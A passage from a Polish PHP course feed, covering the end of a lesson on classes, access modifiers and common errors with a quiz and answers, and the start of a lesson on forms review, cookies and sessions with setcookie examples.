    public function czyCenna(): bool          // metoda zwracająca true/false
    {
        return $this-&gt;xp &gt;= 50;
    }

    public function zwiekszNagrode(int $dodatkoweXp): void   // zmiana stanu wg reguły
    {
        if ($dodatkoweXp &lt;= 0) {
            throw new Exception('Nagrodę można tylko zwiększyć.');
        }

        $this-&gt;xp += $dodatkoweXp;
    }
}

$odznaka = new Odznaka('Streak 7 dni', 50);
$odznaka = new Odznaka(nazwa: 'Streak 7 dni', xp: 50);   // argumenty nazwane (PHP 8)
echo $odznaka-&gt;pobierzXp();</code></pre>



<p class="wp-block-paragraph"><strong>Modyfikatory dostępu</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Modyfikator</th><th>Dostęp z metod klasy</th><th>Z klasy dziedziczącej</th><th>Spoza klasy</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code></td><td>tak</td><td>tak</td><td>tak</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">protected</code></td><td>tak</td><td>tak</td><td>nie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code></td><td>tak</td><td>nie</td><td>nie</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Obiekty w tablicy</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaki = &#91;new Odznaka('A', 10), new Odznaka('B', 50)];

$suma = 0;
foreach ($odznaki as $odznaka) {
    $suma += $odznaka-&gt;pobierzXp();     // było: $odznaka&#91;'xp']
}</code></pre>



<p class="wp-block-paragraph"><strong>Klasa w osobnym pliku</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/classes/Zadanie.php';
$zadanie = new Zadanie(id: 1, tytul: 'A', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);</code></pre>



<p class="wp-block-paragraph"><strong>Dziedziczenie i <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code></strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Postac { protected int $hp = 100; public function czyMartwy(): bool { return $this-&gt;hp &lt;= 0; } }
class Wojownik extends Postac { }          // dziedziczy hp i czyMartwy()

class Profil { final public function nazwa(): string { return 'Użytkownik'; } }
// klasa potomna nie nadpisze nazwa() — Fatal error: Cannot override final method</code></pre>



<p class="wp-block-paragraph"><strong>Stałe i elementy statyczne</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Konfiguracja
{
    const MAX_GRACZY = 100;
    public static int $licznik = 0;

    public function limit(): int { return self::MAX_GRACZY; }   // w klasie: self::
}

echo Konfiguracja::MAX_GRACZY;   // poza klasą: NazwaKlasy::
Konfiguracja::$licznik++;        // bez tworzenia obiektu</code></pre>



<p class="wp-block-paragraph"><strong>Klasa abstrakcyjna i interfejs</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">abstract class PostacGry {
    abstract public function atak(): string;      // brak ciała — musi pojawić się w klasie potomnej
}

interface Zniszczalny {
    public function znisz(): void;                // zawsze public, zawsze bez ciała
}

class Mag extends PostacGry implements Zniszczalny { /* musi mieć atak() i znisz() */ }</code></pre>



<p class="wp-block-paragraph"><strong>Metody magiczne</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function __construct() { }   // przy new
public function __destruct() { }    // gdy obiekt przestaje istnieć (unset() lub koniec skryptu)</code></pre>



<p class="wp-block-paragraph"><strong>Komunikaty błędów i ich przyczyny</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Komunikat</th><th>Przyczyna</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Class "Zadanie" not found</code></td><td>brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku klasy</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot access private property Zadanie::$tytul</code></td><td>odwołanie do <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> spoza klasy — użyj gettera</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type Zadanie as array</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['tytul']</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Too few arguments to function ...::__construct()</code></td><td>brakujący argument przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">must not be accessed before initialization</code></td><td>konstruktor nie ustawił właściwości albo nazwany <code class="prettyprint lang-sql" style="font-size: 0.85em;">_construct</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable $xp</code> w metodzie</td><td>brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot override final method</code></td><td>próba nadpisania metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code></td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<p class="wp-block-paragraph"><strong>1.</strong> Co wyświetli kod?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka {
    private int $xp = 10;
    public function pobierzXp(): int { return $this-&gt;xp; }
}

$o = new Odznaka();
echo $o-&gt;pobierzXp() + 5;</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> Która z linii A–C spowoduje błąd i jaki?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie = new Zadanie(id: 1, tytul: 'Nauka', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);

echo $zadanie-&gt;pobierzTytul();                      // A
echo $zadanie-&gt;tytul;                               // B
echo $zadanie-&gt;czyWykonane() ? 'tak' : 'nie';       // C</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> Znajdź błąd. Kiedy się ujawni?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka {
    private string $nazwa;
    public function _construct(string $nazwa) { $this-&gt;nazwa = $nazwa; }
    public function pobierzNazwe(): string { return $this-&gt;nazwa; }
}

$o = new Odznaka('Pierwsze zadanie');
echo $o-&gt;pobierzNazwe();</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Co wyświetli ostatnia linia?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Licznik {
    public static int $ile = 0;
    public function __construct() { self::$ile++; }
}

new Licznik();
new Licznik();
echo Licznik::$ile;</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Uzupełnij metodę klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> tak, aby zwracała <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> dla zadania niewykonanego z nagrodą większą niż zero:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function czyDoZrobienia(): bool
{
    return ______ &amp;&amp; ______;
}</code></pre>



<p class="wp-block-paragraph"><strong>6.</strong> Dlaczego ta metoda nie działa i jak ją poprawić?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function opis(): string
{
    return $nazwa . ' (+' . $xp . ' XP)';
}</code></pre>



<p class="wp-block-paragraph"><strong>7.</strong> Co wyświetli kod? Co się zmieni, jeżeli w klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Profil</code> dopiszemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">public function nazwa()</code>?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Profil { public function nazwa(): string { return 'Użytkownik'; } }
class ProfilPremium extends Profil { public function nazwa(): string { return 'Premium'; } }

$p = new ProfilPremium();
echo $p-&gt;nazwa();</code></pre>



<p class="wp-block-paragraph"><strong>8.</strong> Która wersja tworzy obiekt poprawnie?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">a) new Zadanie($id: 1, $tytul: 'A', $opis: '', $termin: '2026-10-01', $wykonane: false, $xp: 10);
b) new Zadanie(id: 1, tytul: 'A', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);
c) new Zadanie(id =&gt; 1, tytul =&gt; 'A', opis =&gt; '', termin =&gt; '2026-10-01', wykonane =&gt; false, xp =&gt; 10);</code></pre>



<p class="wp-block-paragraph"><strong>9.</strong> Ten kod nie działa. Popraw jedną linię:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Konfiguracja {
    const MAX_GRACZY = 100;
    public function limit(): int { return $this-&gt;MAX_GRACZY; }
}</code></pre>



<p class="wp-block-paragraph"><strong>10.</strong> Prawda czy fałsz?</p>



<ul class="wp-block-list">
<li>a) Klasa może implementować wiele interfejsów.</li>



<li>b) Klasa może dziedziczyć po wielu klasach.</li>



<li>c) Można utworzyć obiekt klasy abstrakcyjnej.</li>



<li>d) Metody zadeklarowane w interfejsie są publiczne.</li>
</ul>



<p class="wp-block-paragraph"><strong>11.</strong> Co wypisze ten fragment i dlaczego?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$a = new Odznaka(nazwa: 'A', xp: 10);
$b = $a;
$b-&gt;zwiekszNagrode(5);
echo $a-&gt;pobierzXp();</code></pre>



<p class="wp-block-paragraph"><strong>12.</strong> Po zamianie tablic na obiekty ta pętla przerywa skrypt. Podaj komunikat błędu i popraw kod:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadania as $zadanie) {
    echo $zadanie&#91;'tytul'] . ' — ' . $zadanie&#91;'xp'] . ' XP&lt;br&gt;';
}</code></pre>



<p class="wp-block-paragraph"><strong>13.</strong> Zadanie praktyczne. Dopisz do klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPilne(int $dni): bool</code>, która zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, gdy zadanie <strong>nie jest wykonane</strong>, a jego termin przypada <strong>najpóźniej za <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dni</code> dni</strong> (termin na dzisiaj też jest pilny). Wykorzystaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> z Lekcji 7.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">15</code>. Właściwość ma wartość domyślną <code class="prettyprint lang-sql" style="font-size: 0.85em;">10</code>, a getter <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code> jest publiczny, więc odczyt z zewnątrz jest dozwolony.</li>



<li>Linia <strong>B</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Cannot access private property Zadanie::$tytul</code>. Właściwości są <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> — z zewnątrz dostępne tylko przez metody.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">_construct</code> ma <strong>jeden</strong> podkreślnik, więc jest zwykłą metodą i PHP nie wywoła jej przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code> (argument <code class="prettyprint lang-sql" style="font-size: 0.85em;">'Pierwsze zadanie'</code> zostanie po prostu zignorowany). Błąd ujawni się dopiero przy odczycie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Typed property Odznaka::$nazwa must not be accessed before initialization</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code>. Właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">static</code> należy do klasy, nie do obiektu — oba wywołania konstruktora zwiększają ten sam licznik. Wewnątrz klasy odwołujemy się do niej przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">self::$ile</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">return !$this-&gt;wykonane &amp;&amp; $this-&gt;xp &gt; 0;</code></li>



<li>W metodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwa</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to zmienne lokalne, których nie ma (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable</code>) — do właściwości obiektu sięgamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $this-&gt;nazwa . ' (+' . $this-&gt;xp . ' XP)';</code></li>



<li>Wyświetli <code class="prettyprint lang-sql" style="font-size: 0.85em;">Premium</code> — klasa potomna nadpisała metodę. Po dodaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code> w klasie bazowej kod przestanie działać: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Cannot override final method Profil::nazwa()</code>.</li>



<li><strong>b)</strong>. W argumentach nazwanych podajemy nazwę parametru <strong>bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code></strong> i po dwukropku; <code class="prettyprint lang-sql" style="font-size: 0.85em;">=&gt;</code> służy do tablic, nie do wywołań.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">const</code> należy do klasy, a nie do obiektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">return self::MAX_GRACZY;</code> (spoza klasy — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Konfiguracja::MAX_GRACZY</code>).</li>



<li>a) prawda, b) fałsz (tylko jedna klasa bazowa), c) fałsz (klasa abstrakcyjna to tylko baza dla potomnych), d) prawda.</li>



<li>Wypisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">15</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b = $a;</code> nie tworzy kopii obiektu — obie zmienne wskazują ten sam obiekt, więc zmiana wykonana przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b</code> jest widoczna przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code>. Gdyby <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code> było tablicą, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b</code> byłoby kopią i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code> pozostałoby bez zmian.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Cannot use object of type Zadanie as array</code>. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadania as $zadanie) { echo $zadanie-&gt;pobierzTytul() . ' — ' . $zadanie-&gt;pobierzXp() . ' XP&lt;br&gt;'; }</code></li>



<li>Przykładowe rozwiązanie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">public function czyPilne(int $dni): bool { if ($this-&gt;wykonane) { return false; } $granica = new DateTime('today'); $granica-&gt;modify('+' . $dni . ' days'); $termin = new DateTime($this-&gt;termin); return $termin &lt;= $granica; }</code> Sprawdź na granicach: termin wczoraj i <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPilne(3)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> (zadanie po terminie też jest pilne), termin dokładnie za 3 dni i <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPilne(3)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, termin za 4 dni → <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, zadanie wykonane → zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. Tak jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime('today')</code>, żeby porównywać daty o tej samej godzinie (00:00), a nie datę z aktualnym czasem.</li>
</ol>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/php-obiektowo-2/">15. PHP – obiektowo</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>14. PHP – obsługa cookies i sesje</title>
		<link>https://kamakaczmarek.net/php-obsluga-cookies-i-sesje/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 20:34:38 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sesje]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2333</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 13: formularze HTML, metody GET i POST, walidacja w PHP, przekierowanie po zapisie. 1. Co wypisze ten kod przy pierwszym wejściu na stronę (zwykłe GET), a co po wysłaniu formularza z polem xp = 50? 2. Po wysłaniu formularza $_POST['tytul'] nie istnieje. Gdzie jest błąd? 3. Która wersja [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-obsluga-cookies-i-sesje/">14. PHP – obsługa cookies i sesje</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 13: formularze HTML, metody GET i POST, walidacja w PHP, przekierowanie po zapisie.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Co wypisze ten kod przy pierwszym wejściu na stronę (zwykłe GET), a co po wysłaniu formularza z polem <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">50</code>?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp = $_POST&#91;'xp'] ?? '0';
var_dump($xp);</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> Po wysłaniu formularza <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['tytul']</code> nie istnieje. Gdzie jest błąd?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form method="post" action="dodaj-zadanie.php"&gt;
    &lt;input type="text" id="tytul"&gt;
    &lt;button type="submit"&gt;Wyślij&lt;/button&gt;
&lt;/form&gt;</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> Która wersja poprawnie rozpoznaje, że formularz został wysłany?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// a)
if (isset($_POST)) { ... }
// b)
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') { ... }
// c)
if (count($_GET) &gt; 0) { ... }</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Użytkownik dodał zadanie, nacisnął F5 i zadanie zapisało się drugi raz. Jak nazywa się wzorzec, który temu zapobiega, i z jakich dwóch instrukcji PHP korzysta?</p>



<p class="wp-block-paragraph"><strong>5.</strong> Użytkownik wpisuje w adresie <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=WYKONANE</code>. Jaki widok zobaczy i dlaczego zawężamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code> do trzech wartości, zanim trafi do <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code>?</p>



<p class="wp-block-paragraph"><strong>6.</strong> Formularz ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">min="1" max="100"</code>. Dlaczego PHP i tak musi sprawdzić dane? Podaj jeden sposób obejścia walidacji przeglądarki.</p>



<p class="wp-block-paragraph"><strong>7.</strong> Dlaczego dodanie zadania wysyłamy metodą POST, a wybór widoku listy — metodą GET?</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<p class="wp-block-paragraph"><strong>1.</strong> Pierwsze wejście: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(1) "0"</code> — klucza <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> nie ma, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> daje wartość domyślną. Po wysłaniu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(2) "50"</code> — nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>, bo z formularza zawsze przychodzą teksty (nawet z pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="number"</code>).</p>



<p class="wp-block-paragraph"><strong>2.</strong> Brakuje atrybutu <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul"</code>. Pole bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> w ogóle nie jest wysyłane; <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> służy tylko do powiązania z <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;label for="..."&gt;</code>.</p>



<p class="wp-block-paragraph"><strong>3.</strong> b). <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($_POST)</code> jest zawsze prawdziwe (tablica istnieje zawsze), a <code class="prettyprint lang-sql" style="font-size: 0.85em;">count($_GET) &gt; 0</code> sprawdza zupełnie co innego — do tego POST może przyjść bez żadnego pola.</p>



<p class="wp-block-paragraph"><strong>4.</strong> POST → przekierowanie → GET (PRG, <em>Post/Redirect/Get</em>). Korzysta z <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>. Po zapisie ostatnim żądaniem staje się zwykły GET, więc F5 tylko wyświetla stronę.</p>



<p class="wp-block-paragraph"><strong>5.</strong> Widok <code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystkie</code>. Porównanie jest wrażliwe na wielkość liter, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">WYKONANE</code> nie przechodzi zawężenia. Zawężamy, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code> trafia potem do <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code> (musi trafić na któryś przypadek) i na stronę w linii „Widok: …” — po sprawdzeniu może mieć tylko jedną z trzech znanych wartości.</p>



<p class="wp-block-paragraph"><strong>6.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">max</code> to walidacja w przeglądarce — wygoda dla użytkownika, nie ochrona. Można ją ominąć m.in. dopisując <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code> do <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form&gt;</code>, usuwając atrybut w F12 albo wysyłając żądanie bez przeglądarki. Dane sprawdza zawsze serwer.</p>



<p class="wp-block-paragraph"><strong>7.</strong> GET — gdy tylko czytamy (adres z <code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=aktywne</code> można odświeżyć, zapisać w zakładkach, wysłać koledze). POST — gdy coś zmieniamy, żeby odświeżenie ani link w historii nie dodały zadania po raz drugi.</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<p class="wp-block-paragraph">Cookies i Sesje to mechanizmy, które pozwalają &#8222;zapamiętać&#8221; użytkownika między kolejnymi żądaniami HTTP.</p>



<p class="wp-block-paragraph">Typowe zastosowania:
<span class="hljs-bullet">&#8211;</span> Logowanie &#8211; zapamiętanie, że jesteś zalogowany
<span class="hljs-bullet">&#8211;</span> Koszyk zakupowy &#8211; przechowanie wybranych produktów
<span class="hljs-bullet">&#8211;</span> Preferencje &#8211; język interfejsu, motyw jasny/ciemny
<span class="hljs-bullet">&#8211;</span> Analityka &#8211; śledzenie zachowań użytkowników
<span class="hljs-bullet">&#8211;</span> Personalizacja &#8211; dostosowanie treści do użytkownika
<span class="hljs-bullet">&#8211;</span> Formularze wieloetapowe &#8211; przechowanie danych między krokami</p>



<h2 class="wp-block-heading"><em>Ciasteczka – Cookies</em></h2>



<p class="wp-block-paragraph"><em>Ciasteczka – Cookies, </em>to krótkie informacje tekstowe, wysyłane przez stronę internetową, które za pośrednictwem przeglądarki zapisywane są na komputerze użytkownika. Ciasteczka wykorzystywane są do zapamiętywania dowolnych danych, które można zakodować w postaci ciągu znaków, dzięki czemu użytkownik nie musi wpisywać tych samych danych za każdym razem, gdy odwiedzi daną stronę WWW &nbsp;np. login użytkownika, zawartość koszyka, nasze preferencje, ankieta którą już wypełnialiśmy, czy preferowany język na stronie itp.</p>



<p class="wp-block-paragraph">Gdy posiadamy formularz rejestracji wszystkie dane możemy
przechowywać w bazie, ale dzięki ciastkom możemy ominąć ten proces. Wystarczy,
że użytkownik raz coś wybierze i jego preferencje zostaną zapisane, do momentu
ich zmiany lub usunięcia. Oczywiście należy mieć na uwadze, ze użytkownik
wyłączy zapisywanie ciasteczek.</p>



<p class="wp-block-paragraph">Ciasteczka identyfikują dane komputera i przeglądarki, która
korzysta ze strony WWW. W żaden sposób nie są szkodliwe dla naszego sprzętu,
nie zmieniają ustawień konfiguracyjnych. </p>



<p class="wp-block-paragraph">Ciasteczka mogą być odczytane tylko z poziomu domeny, z której
pochodzą.</p>



<p class="wp-block-paragraph">Podsumowując:<br />&#8211; Ciasteczka identyfikują dane komputera i przeglądarki, nie osoby<br />&#8211; Nie są szkodliwe dla sprzętu &#8211; to zwykłe pliki tekstowe<br />&#8211; Nie zmieniają ustawień konfiguracyjnych systemu<br />&#8211; Mogą być odczytane tylko z poziomu domeny, z której pochodzą<br />&#8211; Użytkownik może je wyłączyć lub usunąć w ustawieniach przeglądarki</p>



<p></p>



<h2 class="wp-block-heading"><em>Podstawowe rodzaje ciasteczek</em></h2>



<h4 class="wp-block-heading">Session Cookies</h4>



<p class="wp-block-paragraph">„Cookies”
sesyjne – są to tymczasowe informacje przechowywane w pamięci przeglądarki do
momentu zakończenia sesji przeglądarki, czyli do momentu jej zamknięcia. </p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Cookie sesyjne - usuwa się po zamknięciu przeglądarki
setcookie('session_id', 'abc123');
// lub
setcookie('session_id', 'abc123', 0);</code></pre>



<p class="wp-block-paragraph">Zastosowanie: Tymczasowe dane, które nie muszą być zapamiętane na stałe.</p>



<h4 class="wp-block-heading">Persistent/Tracking Cookies</h4>



<p class="wp-block-paragraph">„Cookies” stałe, nazywane również „śledzące„cookie” (ang. tracking cookies) – pozostają w pamięci przeglądarki przez dłuższy okres. Czas ten zależy od wyboru, którego można dokonać w ustawieniach przeglądarki. Ten rodzaj cookies zezwala na przekazywanie informacji na serwer za każdym razem, gdy odwiedzana jest dana strona.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Cookie ważne przez 7 dni
setcookie('user_preferences', 'dark_mode', time() + (7 * 24 * 60 * 60));

// Cookie ważne przez 30 dni
setcookie('language', 'pl', time() + (30 * 24 * 60 * 60));

// Cookie ważne przez rok
setcookie('remember_me', 'yes', time() + (365 * 24 * 60 * 60));</code></pre>



<p class="wp-block-paragraph">Zastosowanie: Zapamiętanie preferencji, funkcja &#8222;Zapamiętaj mnie&#8221;.</p>



<h4 class="wp-block-heading">Third-party Cookies</h4>



<p class="wp-block-paragraph">„Cookies”
podmiotów zewnętrznych – (ang. third parties cookies) – to informacje
pochodzące np. z serwerów reklamowych, serwerów firm i dostawców usług (np.
wyszukiwania albo map umieszczanych na stronie) współpracujących z właścicielem
danej strony internetowej. Ten rodzaj cookie pozwala dostosowywać np. reklamy
do preferencji i zwyczajów ich użytkowników. </p>



<p class="wp-block-paragraph">Przykład: Oglądasz buty w sklepie A, potem widzisz reklamy tych butów na stronie B &#8211; to działanie third-party cookies.</p>



